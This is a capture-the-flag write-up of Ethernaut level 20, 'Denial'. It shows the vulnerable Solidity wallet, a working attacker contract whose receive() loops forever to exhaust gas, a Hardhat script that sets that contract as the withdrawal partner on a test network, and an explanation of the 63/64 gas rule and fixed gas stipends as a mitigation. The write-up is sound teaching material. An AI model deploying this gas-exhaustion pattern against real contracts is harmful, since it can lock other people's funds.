Ethernaut #20 Denial
Denial
Challenge
This is a simple wallet that drips funds over time. You can withdraw the funds slowly by becoming a withdrawing partner.
If you can deny the owner from withdrawing funds when they call withdraw()
(whilst the contract still has funds, and the transaction is of 1M gas or less) you will win this level.
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Denial {
using SafeMath for uint256;
address public partner; // withdrawal partner - pay the gas, split the withdraw
address payable public constant owner = address(0xA9E);
uint timeLastWithdrawn;
mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances
function setWithdrawPartner(address _partner) public {
partner = _partner;
}
// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint amountToSend = address(this).balance.div(100);
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call{value:amountToSend}("");
owner.transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = now;
withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
}
// allow deposit of funds
receive() external payable {}
// convenience function
function contractBalance() public view returns (uint) {
return address(this).balance;
}
}
Background
This challange is a bit consfusing, not in a way of solving it, but in the wording of the challenge and the setup of it. In general the final goal is to perform a denial of service attack on the withdraw
function, however, even after peforming the attack the owner could bypass it with little to no difficulty. But in any case, this was the challange so it will be tackled.
As the comment in the challange code itself mentions, the call
function will not revert
the caller if the calle revert
s. This means that we cannot perform deny the service simply by reverting. We can however, consume all the available gas and force the entire execution to revert
with an outOfGas
exception.
Even though I did not like the context of the challange though, I did learn something unique after finishing this challenge.
Attack
Create a contract that will consume an infinite amount of gas when receiving funds. This can be achieved by having an infinite loop in the receive
function.
- Create a contract that goes into an infite loop when receiving funds.
- Set the contract as the partner
DenialSolve.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.4;
contract DenialSolve {
constructor() public {}
receive() external payable {
while (true) {}
}
}
denial-solve.js
const hre = require("hardhat");
const { ethers, upgrades } = require("hardhat");
async function main() {
denialAddress = "0x8705dDC7eAD886861Cd2EF45155A5f0835A57b57";
contract = await ethers.getContractAt("Denial", denialAddress);
const accounts = await hre.ethers.getSigners();
account = accounts[0];
DenialSolve = await ethers.getContractFactory("DenialSolve");
denialSolve = await DenialSolve.deploy();
await denialSolve.deployed();
console.log("Level address: " + contract.address)
// set contract as partner
tx = await contract.connect(account).setWithdrawPartner(denialSolve.address)
receipt = await tx.wait()
}
main().catch((error) => {
console.error(error);
process.exitCode = 1;
});
$ npx hardhat run scripts/denial-solve.js --network rinkeby
Level address: 0x8705dDC7eAD886861Cd2EF45155A5f0835A57b57
Success Message
This level demonstrates that external calls to unknown contracts can still create denial of service attack vectors if a fixed amount of gas is not specified.
If you are using a low level call
to continue executing in the event an external call reverts, ensure that you specify a fixed gas stipend. For example call.gas(100000).value()
.
Typically one should follow the checks-effects-interactions pattern to avoid reentrancy attacks, there can be other circumstances (such as multiple external calls at the end of a function) where issues such as this can arise.
Note: An external CALL
can use at most 63/64 of the gas currently available at the time of the CALL
. Thus, depending on how much gas is required to complete a transaction, a transaction of sufficiently high gas (i.e. one such that 1/64 of the gas is capable of completing the remaining opcodes in the parent call) can be used to mitigate this particular attack.
Post Challenge
While reading the challange I noticed it mentioned that it should fail for 1M gas or less, but it seemed that this was not really a requirement. At least I could not see why. I thought that doing this is again pretty straing forward. I could simply check the remaining gas while in the loop or even pre-calculate the gas consumption and make sure it would consume at least enough to revert
a transaction with 1M gas with an outOfGas
exception.
Then after I read the Success Message
I realized that the reason there is such a limit is because call will send at most 63/64 units of gas to the callee. This means that if the remaining 1/64 is enough to execute the parent code, then even with an infinite loop, the function would still succeed. This is because the inifinte loop would consume the entire 63/64 of the gas, revert
with an outOfGas
exception, and return execution to the caller. Since its a call
function the revert would not happen in the caller, and since we assumed that 1/64 is enought to finish the parent execution the transaction would finish normally.